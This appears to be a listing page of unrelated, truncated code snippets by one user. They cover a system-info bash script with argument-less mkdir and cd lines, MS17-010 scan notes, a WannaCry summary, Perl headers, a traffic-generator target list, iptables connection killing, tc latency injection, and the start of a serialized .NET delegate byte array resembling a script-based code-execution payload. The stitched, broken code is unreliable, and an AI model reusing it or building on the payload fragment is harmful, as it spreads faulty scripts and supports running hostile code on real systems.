shekkbuilder

#!/bin/bash
host=$(hostname)

sos_dir="/tmp/_hungsos"
mkdir
cd
chkconfig --list > chkconfig
date > date
df > df
dmesg > dmesg

shekkbuilder

# CVE-2017-0143 MS17-010 Scaning
# The vulnerability that uses WannaCry Ransomware
# 
# Use @calderpwn's script
# http://seclists.org/nmap-dev/2017/q2/79
# 
# Save it to Nmap NSE script directory
# Linux
# /usr/share/nmap/scripts/ or /usr/local/share/nmap/scripts/
# OSX

shekkbuilder

WannaCry|WannaDecrypt0r NSA-Cyberweapon-Powered Ransomware Worm

• Virus Name: WannaCrypt, WannaCry, WanaCrypt0r, WCrypt, WCRY
• Vector: All Windows versions before Windows 10 are vulnerable if not patched for MS-17-010. It uses EternalBlue MS17-010 to propagate.
• Ransom: between $300 to $600. There is code to 'rm' (delete) files in the virus. Seems to reset if the virus crashes.
• Backdooring: The worm loops through every RDP session on a system to run the ransomware as that user. It also installs the DOUBLEPULSAR backdoor. It corrupts shadow volumes to make recovery harder. (source: malwarebytes)
• Kill switch: If the website www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com is up the virus exits instead of infecting the host. (source: malwarebytes). This domain has been sinkholed, stopping the spread of the worm. Will not work if proxied (source).

update: A minor variant of the viru

shekkbuilder

#!/usr/bin/perl -w
##############################################################################
##  
##  Written by: Jared Cheney <[email protected]>
##
##  Original Template written by: 
##     Brandon Zehm <[email protected]> and Jared Cheney <[email protected]>
##  
##  License:
##  

shekkbuilder

#!/usr/bin/perl -w
##############################################################################
##  
##  Written by: Jared Cheney <[email protected]>
##
##  Original Template written by: 
##     Brandon Zehm <[email protected]> and Jared Cheney <[email protected]>
##  
##  License:
##  

shekkbuilder

# Packet Grenade
# Feb 13, 2015

# Lists of targets
set pinglist [list www.google.com www.facebook.com]
set httplist [list www.google.com www.facebook.com]
set httpslist [list www.google.com www.facebook.com]
set ftplist [list]
set sshlist [list alt.org thebes.openshells.net]

shekkbuilder

#!/bin/bash
#fifo_logwatch.sh -jrelo
trap ctrl_c INT
fifo=/tmp/fifolog.$$
mkfifo "${fifo}" || exit 1

function ctrl_c() {
  echo "ctrl^c caught. exiting..."
  rm "${fifo}"
  exit 130;

shekkbuilder

#!/bin/bash
#more methods: http://rtomaszewski.blogspot.com/2012/11/how-to-forcibly-kill-established-tcp.html
if [ $# -lt 1 ];
  then
  printf "Usage: $0 <IP>\n" $#
  exit 0
fi
raddr=$1
printf "Killing TCP connections to/from ${raddr}...\n"
iptables -I INPUT -s ${raddr} -p tcp -j REJECT --reject-with tcp-reset

shekkbuilder

tc qdisc add dev eth0 root netem delay 80ms 15ms distribution normal

shekkbuilder

var serialized_obj = [
0,1,0,0,0,255,255,255,255,1,0,0,0,0,0,0,0,4,1,0,0,0,34,83,121,115,116,101,109,46,68,101,108,
101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,3,0,0,0,8,68,101,108,
101,103,97,116,101,7,116,97,114,103,101,116,48,7,109,101,116,104,111,100,48,3,3,3,48,83,121,115,116,101,109,46,
68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,68,101,108,101,
103,97,116,101,69,110,116,114,121,34,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,
122,97,116,105,111,110,72,111,108,100,101,114,47,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,77,
101,109,98,101,114,73,110,102,111,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,9,2,0,0,